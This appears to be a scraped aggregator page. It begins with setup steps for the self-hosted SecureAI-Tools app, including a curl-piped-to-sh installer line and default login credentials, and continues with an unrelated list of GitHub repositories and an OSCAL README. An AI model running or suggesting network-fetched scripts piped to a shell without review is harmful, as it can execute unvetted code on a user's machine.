1. Create a directory

mkdir secure-ai-tools && cd secure-ai-tools

2. Run set-up script

The script downloads docker-compose.yml and generates a .env file with sensible defaults.

curl -sL https://github.com/SecureAI-Tools/SecureAI-Tools/releases/latest/download/set-up.sh | sh

3. [Optional] Edit `.env` file

Customize the .env file created in the above step to your liking.

4. [Optional] On Linux machine with Nvidia GPUs, enable GPU support

To accelerate inference on Linux machines, you will need to enable GPUs. This is not strictly required as the inference service will run on CPU-only mode as well, but it will be slow on CPU. So if your machine has Nvidia GPU then this step is recommended.

Install Nvidia container toolkit if not already installed.
Uncomment the deploy: block in docker-compose.yml file. It gives inference service access to Nvidia GPUs.

5. Run docker compose

docker compose up -d

6. Post-installation set-up

Login at http://localhost:28669/log-in using the initial credentials below, and change the password.
- Email
```
bruce@wayne-enterprises.com
```
- Password
```
SecureAIToolsFTW!
```
Set up the AI model by going to http://localhost:28669/-/settings?tab=ai
Navigate to http://localhost:28669/- and start using AI tools

Features wishlist

A set of features on our todo list (in no particular order).

✅ Chat with documents
✅ Support for OpenAI, Claude etc APIs
Support for markdown rendering
Chat sharing
Mobile friendly UI
Specify AI model at chat-creation time
Prompt templates library

openbao/openbao

2023-12-12T01:43:17Z

AIoT-MLSys-Lab/Efficient-LLMs-Survey

2023-12-12T01:43:17Z

This repository contain a lot of web and api vulnerability checklist , a lot of vulnerability ideas and tips from twitter

paulmillr/encrypted-dns

2023-12-12T01:43:17Z

Official PyTorch implementation for the paper "AnimateZero: Video Diffusion Models are Zero-Shot Image Animators"

hackthebox/uni-ctf-2023

2023-12-13T01:46:28Z

Official writeups for University CTF 2023: Brains & Bytes

siliconcompiler/lambdalib

2023-12-12T02:01:04Z

Hardware abstraction library

skydark/dotvim

2023-12-13T01:46:35Z

My vim configure

vim-scripts/TagmaLast

2023-12-13T01:46:35Z

Update the 'Last Changed' line in a file

daisy/xprocspec

2023-12-13T01:47:13Z

A tool for testing XProc scripts

usnistgov/oscal-content

2023-12-13T01:47:17Z

NIST SP 800-53 content and other OSCAL content examples

OSCAL Examples

This directory contains numerous OSCAL examples in XML, JSON, and YAML formats based on the latest OSCAL stable release.

These files are maintained by a Continuous Integration and Continuous Deployment (CI/CD) process that automatically converts source content into the alternate formats found in the many subdirectories of this repository. As a result, these example files should not be modified. Instead, the source of the file should be edited in the src subdirectories.

The structure and contents of the examples directory are as follows:

examples: This directory contains sample OSCAL content organized by OSCAL model.
nist.gov/SP800-53/rev4: This directory contains OSCAL examples of the catalog, and low, moderate, and high baselines defined by NIST Special Publication (SP) 800-53 Revision 4.
nist.gov/SP800-53/rev5: This directory contains OSCAL examples of the catalog, and low, moderate, and high baselines defined by NIST Special Publication (SP) 800-53 Revision 5 and SP 800-53B respectively.
src: This directory contains the source files for all the OSCAL examples located in this repository.
build: This directory includes instructions and tools to build OSCAL dependencies, generate, convert, and check example content in this repository for release.

overbound/SonicTimeTwisted2.0

2023-12-12T02:01:45Z

jamii/focus

2023-12-13T01:47:28Z

Minimalist text editor